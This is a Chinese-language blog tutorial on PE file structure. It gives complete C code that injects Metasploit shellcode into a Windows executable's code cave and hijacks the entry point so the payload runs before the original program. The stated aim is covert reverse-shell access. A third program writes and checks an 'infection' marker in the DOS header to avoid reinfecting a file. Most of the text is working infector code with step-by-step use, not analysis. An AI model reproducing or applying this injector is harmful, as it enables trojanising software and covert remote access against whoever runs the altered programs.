2.12 PE结构:实现PE字节注入

简介: 本章笔者将介绍一种通过Metasploit生成ShellCode并将其注入到特定PE文件内的Shell注入技术。该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。

本章笔者将介绍一种通过Metasploit生成ShellCode并将其注入到特定PE文件内的Shell注入技术。该技术能够劫持原始PE文件的入口地址,在PE程序运行之前执行ShellCode反弹,执行后挂入后台并继续运行原始程序,实现了一种隐蔽的Shell访问。而我把这种技术叫做字节注入反弹。

字节注入功能调用WritePEShellCode函数,该函数的主要作用是接受用户传入的一个文件位置,并可以将一段通过Metasploit工具生成的有效载荷注入到特定文件偏移位置处。

读者在使用该函数之前需要通过WinHex找到注入位置,我们以如下截图中的30352为例;

接着读者需要自行准备一段ShellCode代码,只保留代码部分去掉头部变量参数,如下所示;

接着我们使用如下这段代码中的WritePEShellCode函数,通过传入指定PE文件路径,指定文件便宜,以及指定的ShellCode文件路径,即可自动将其压缩为一行并在压缩后将代码写出到指定的可执行文件内。

// 将ShellCode写出到PE程序的特定位置
// 参数1: 指定PE路径 参数2: 指定文件中的偏移(十进制) 参数3: 指定ShellCode文件
void WritePEShellCode(const char* FilePath, long FileOffset, const char* ShellCode)
{
   
   
  HANDLE hFile = NULL;
  FILE* fpointer = NULL;
  DWORD dwNum = 0;

  int count = 0;
  char shellcode[8192] = {
   
    0 };
  unsigned char save[8192] = {
   
    0 };

  // 打开一段ShellCode代码并处理为一行
  if ((fpointer = fopen(ShellCode, "r")) != NULL)
  {
   
   
    char ch = 0;
    for (int x = 0; (ch = fgetc(fpointer)) != EOF;)
    {
   
   
      if (ch != L'\n' && ch != L'\"' && ch != L'\\' && ch != L'x' && ch != L';')
      {
   
   
        shellcode[x++] = ch;
        count++;
      }
    }
  }
  _fcloseall();

  // 将单字节合并为双字节
  for (int x = 0; x < count / 2; x++)
  {
   
   
    unsigned int char_in_hex;
    if (shellcode[x] != 0)
    {
   
   
      sscanf(shellcode + 2 * x, "%02X", &char_in_hex);

      // 每十六字节换一行输出
      if ((x+1) % 16 == 0)
      {
   
   
        printf("0x%02X \n", char_in_hex);
      }
      else
      {
   
   
        printf("0x%02X ", char_in_hex);
      }
      save[x] = char_in_hex;
    }
  }

  // 打开PE文件并写出ShellCode到指定位置
  hFile = CreateFile(FilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (INVALID_HANDLE_VALUE != hFile)
  {
   
   
    SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
    bool ref = WriteFile(hFile, save, count/2 , &dwNum, NULL);
    if (true == ref)
    {
   
   
      printf("\n\n[*] 已注入 ShellCode 到PE文件 \n[+] 注入起始FOA => 0x%08X \n",FileOffset);
    }
    CloseHandle(hFile);
  }
}

我们通过传入WritePEShellCode("d://lyshark.exe", 30352, "d://shellcode.txt");参数,运行后则可将特定文本中的机器码注入到30352的位置处,读者也可以通过使用WinHex跳转到对应位置观察,如下所示;

当然了上述方法注入到PE文件中我们需要手动分析寻找空余块,并在注入成功后还需要自行修正PE文件内的入口地址等,这种方式适合于对PE结构非常熟悉的人可以,但也要花费一些精力去寻找分析,如下代码则是实现了自动化注入功能,该代码中FindSpace()函数用于从代码节的末尾开始搜索,寻找特定长度的空余位置,当找到合适的缝隙后便返回缝隙首地址。

此时dwOep变量内存储的是该程序原始的OEP入口位置,接着将入口地址赋值到*(DWORD *)&shellcode[5]也就是放入到shellcode机器码的第六个位置处,此处将变更为跳转到原始入口的指令集,接着调用memcpy函数将shellcode代码拷贝到新分配的dwAddr内存中,此处的strlen(shellcode) + 3代表的是ShellCode中剩余的\xff\xe0\x00部分,最后将当前EIP指针设置为我们自己的ShellCode所在位置,通过pNtHeader->OptionalHeader.AddressOfEntryPoint赋值设置此变量,至此这个注入器就算实现啦。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

// \xb8\x90\x90\x90\x90 => mov eax,90909090
// \xff\xe0\x00 => jmp eax
char shellcode[] = "\x90\x90\x90\x90\xb8\x90\x90\x90\x90\xff\xe0\x00";

// 缝隙的搜索从代码节的末尾开始搜索,有利于快速搜索到缝隙
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
   
   
  // 跳过可选头长度的数据
  PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
    (((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));

  // 获取到文件末尾的位置
  DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
  dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;

  LPVOID lp = malloc(sizeof(shellcode));
  memset(lp, 0, sizeof(shellcode));

  while (dwAddr > pSec->Misc.VirtualSize)
  {
   
   
    int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
    if (nRet == 0)
      return dwAddr;
    dwAddr--;
  }
  free(lp);
  return 0;
}

int main(int argc, char* argv[])
{
   
   
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFile(L"d://lyshark.exe", GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = {
   
    0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
   
   
    printf("[-] 文件非可执行文件 \n");
    return -1;
  }
  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 查找空余字节
  DWORD dwAddr = FindSpace(lpBase, pNtHeader);
  printf("[*] 找到 %d 字节 | 起始地址: %X \n", sizeof(shellcode), dwAddr);

  // 获取到原入口地址
  DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;

  // \xb8 => 填充的就是原始程序的OEP
  *(DWORD *)&shellcode[5] = dwOep;
  printf("[-] 原始入口地址: 0x%08X \n", dwOep);

  // 将shellcode 拷贝到dwAddr内存空间里,拷贝长度strlen(shellcode) + 3
  memcpy((char *)dwAddr, shellcode, strlen(shellcode) + 3);
  dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
  printf("[-] 拷贝内存长度: 0x%08X \n", dwAddr);

  // 将新的入口地址,赋值给原始程序的地址上
  pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
  printf("[+] 修正新入口地址: 0x%08X \n", pNtHeader->OptionalHeader.ImageBase + dwAddr);

  UnmapViewOfFile(lpBase);
  CloseHandle(hMap);
  CloseHandle(hFile);

  system("pause");
  return 0;
}

读者可自行编译并运行上述代码,当运行结束后会将ShellCode全局变量中的指令集,写入到lyshark.exe程序内,并修正当前程序的OEP入口处,此时读者可运行lyshark.exe程序,看是否能够正常执行起来,如下图所示;

此时读者可自行打开x64dbg调试器,观察此时的程序入口处已经变成了0x47BFF3执行到最后则通过jmp eax跳转到了原始的程序入口处继续执行,这也就是空字节注入的功能,当读者自己将nop指令替换为任意特殊的汇编指令时,也就实现了一款注入Shell版本的软件。

当我们对特定的程序插入Shell后,则还需要对该程序增加一个标志,在PE结构中有许多地方可以写入这个标志,例如DOS头部存在一个e_cblp变量,通过向该变量写入一个标志,当需要判断是否被感染时读取此处并检查是否存在特定值即可,如下代码则是一个检查实现方式。

#include <stdio.h>
#include <stddef.h>
#include <windows.h>

#define VIRUSFLAGS 0xCCCC

// 向指定文件写入感染标志
BOOL WriteSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
   
   
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  WriteFile(hFile, &dwSig, sizeof(DWORD), &dwNum, NULL);
  return TRUE;
}

// 检查文件是否被感染
BOOL CheckSig(DWORD dwAddr, DWORD dwSig, HANDLE hFile)
{
   
   
  DWORD dwSigNum = 0;
  DWORD dwNum = 0;
  SetFilePointer(hFile, dwAddr, 0, FILE_BEGIN);
  ReadFile(hFile, &dwSigNum, sizeof(DWORD), &dwNum, NULL);

  if (dwSigNum == dwSig)
    return TRUE;
  return FALSE;
}

int main(int argc, char* argv[])
{
   
   
  HANDLE hFile, hMap = NULL;
  LPVOID lpBase = NULL;

  hFile = CreateFileA("d://lyshark.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  hMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, 0);
  lpBase = MapViewOfFile(hMap, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);

  PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  PIMAGE_NT_HEADERS pNtHeader = NULL;
  PIMAGE_SECTION_HEADER pSec = NULL;
  IMAGE_SECTION_HEADER imgSec = {
   
    0 };

  if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  {
   
   
    printf("[-] 文件非可执行文件 \n");
    return -1;
  }

  pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);

  // 写入感染标志
  WriteSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile);

  // 返回真说明感染过
  if (CheckSig(offsetof(IMAGE_DOS_HEADER, e_cblp), VIRUSFLAGS, hFile))
  {
   
   
    printf("[+] 文件已被感染,无法重复感染. \n");
  }

  system("pause");
  return 0;
}

由于e_cblp是第二个字段,所以在填充后我们打开WinHex就可以看到变化,如下图所示;

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/240d333e.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

目录
相关文章
|
8月前
2.14 PE结构:地址之间的转换
在可执行文件PE文件结构中,通常我们需要用到地址转换相关知识,PE文件针对地址的规范有三种,其中就包括了`VA`,`RVA`,`FOA`三种,这三种该地址之间的灵活转换也是非常有用的,本节将介绍这些地址范围如何通过编程的方式实现转换。VA(Virtual Address,虚拟地址):它是在进程的虚拟地址空间中的地址,用于在运行时访问内存中的数据和代码。VA是相对于进程基址的偏移量。在不同的进程中,相同的VA可能映射到不同的物理地址。RVA(Relative Virtual Address,相对虚拟地址):它是相对于模块基址(Module Base Address)的偏移量,用于定位模块内部的数
148 1
2.14 PE结构:地址之间的转换
|
5月前
|
编译器 C++ Windows
9.4 Windows驱动开发:内核PE结构VA与FOA转换
本章将继续探索内核中解析PE文件的相关内容,PE文件中FOA与VA,RVA之间的转换也是很重要的,所谓的FOA是文件中的地址,VA则是内存装入后的虚拟地址,RVA是内存基址与当前地址的相对偏移,本章还是需要用到`《内核解析PE结构导出表》`中所封装的`KernelMapFile()`映射函数,在映射后对其PE格式进行相应的解析,并实现转换函数。
40 0
9.4 Windows驱动开发:内核PE结构VA与FOA转换
|
8月前
|
存储 数据安全/隐私保护
2.13 PE结构:实现PE代码段加密
代码加密功能的实现原理,首先通过创建一个新的`.hack`区段,并对该区段进行初始化,接着我们向此区段内写入一段具有动态解密功能的`ShellCode`汇编指令集,并将程序入口地址修正为`ShellCode`地址位置处,当解密功能被运行后则可释放加密的`.text`节,此时再通过一个`JMP`指令跳转到原始`OEP`位置,则可继续执行解密后的区段。
57 0
2.13 PE结构:实现PE代码段加密
|
8月前
|
存储 编译器 数据安全/隐私保护
2.11 PE结构:添加新的节区
在可执行PE文件中,节(section)是文件的组成部分之一,用于存储特定类型的数据。每个节都具有特定的作用和属性,通常来说一个正常的程序在被编译器创建后会生成一些固定的节,通过将数据组织在不同的节中,可执行文件可以更好地管理和区分不同类型的数据,并为运行时提供必要的信息和功能。节的作用是对可执行文件进行有效的分段和管理,以便操作系统和加载器可以正确加载和执行程序。
108 2
|
8月前
|
存储 Windows
2.4 PE结构:节表详细解析
节表(Section Table)是Windows PE/COFF格式的可执行文件中一个非常重要的数据结构,它记录了各个代码段、数据段、资源段、重定向表等在文件中的位置和大小信息,是操作系统加载文件时根据节表来进行各个段的映射和初始化的重要依据。节表中的每个记录则被称为`IMAGE_SECTION_HEADER`,它记录了一个段的各种属性信息和在文件中的位置和大小等信息,一个文件可以由多个`IMAGE_SECTION_HEADER`构成。
99 0
2.4 PE结构:节表详细解析
|
8月前
|
存储 算法 编译器
2.7 PE结构:重定位表详细解析
重定位表(Relocation Table)是Windows PE可执行文件中的一部分,主要记录了与地址相关的信息,它在程序加载和运行时被用来修改程序代码中的地址的值,因为程序在不同的内存地址中加载时,程序中使用到的地址也会受到影响,因此需要重定位表这个数据结构来完成这些地址值的修正。当程序需要被加载到不同的内存地址时,相关的地址值需要进行修正,否则程序运行会出现异常。而重定位表就是记录了在程序加载时需要修正的地址值的相关信息,包括修正地址的位置、需要修正的字节数、需要修正的地址的类型等。重定位表中的每个记录都称为一项(entry),每个entry包含了需要修正的地址值的详细信息,通常是以可变
93 0
2.7 PE结构:重定位表详细解析
|
8月前
|
存储 Windows
2.6 PE结构:导出表详细解析
导出表(Export Table)是Windows可执行文件中的一个结构,记录了可执行文件中某些函数或变量的名称和地址,这些名称和地址可以供其他程序调用或使用。当PE文件执行时Windows装载器将文件装入内存并将导入表中登记的DLL文件一并装入,再根据DLL文件中函数的导出信息对可执行文件的导入表(IAT)进行修正。
166 1
|
8月前
|
存储 安全 API
2.1 PE结构:文件映射进内存
PE结构是`Windows`系统下最常用的可执行文件格式,理解PE文件格式不仅可以理解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,在任何一款操作系统中,可执行程序在被装入内存之前都是以文件的形式存放在磁盘中的,在早期DOS操作系统中,是以COM文件的格式存储的,该文件格式限制了只能使用代码段,堆栈寻址也被限制在了64KB的段中,由于PC芯片的快速发展这种文件格式极大的制约了软件的发展。
269 0
|
8月前
|
Windows
2.8 PE结构:资源表详细解析
在Windows PE中,资源是指可执行文件中存放的一些固定不变的数据集合,例如图标、对话框、字符串、位图、版本信息等。PE文件中每个资源都会被分配对应的唯一资源ID,以便在运行时能够方便地查找和调用它们。PE文件中的资源都被组织成一个树形结构,其中最顶层为根节点(Root),下一级为资源类型(Type),再下一级为资源名称(Name),最终是实际的资源内容。PIMAGE_RESOURCE_DIRECTORY是Windows PE可执行文件中的一个结构类型,用于描述资源(Resource)的树形结构,其中包括了每个资源的类型(Type)、名称(Name)和语言(Language),以及指向下一
89 0
2.8 PE结构:资源表详细解析
|
8月前
|
存储 C语言 Windows
2.2 PE结构:文件头详细解析
PE结构是`Windows`系统下最常用的可执行文件格式,理解PE文件格式不仅可以理解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,DOS头是PE文件开头的一个固定长度的结构体,这个结构体的大小为64字节(0x40)。DOS头包含了很多有用的信息,该信息可以让Windows操作系统使用正确的方式加载可执行文件。从DOS文件头`IMAGE_DOS_HEADER`的`e_lfanew`字段向下偏移`003CH`的位置,就是真正的PE文件头的位置,该文件头是由`IMAGE_NT_HEADERS`结构定义的,IMAGE_NT_HEADERS是PE文件格式的一部分,它包含了PE
131 0
2.2 PE结构:文件头详细解析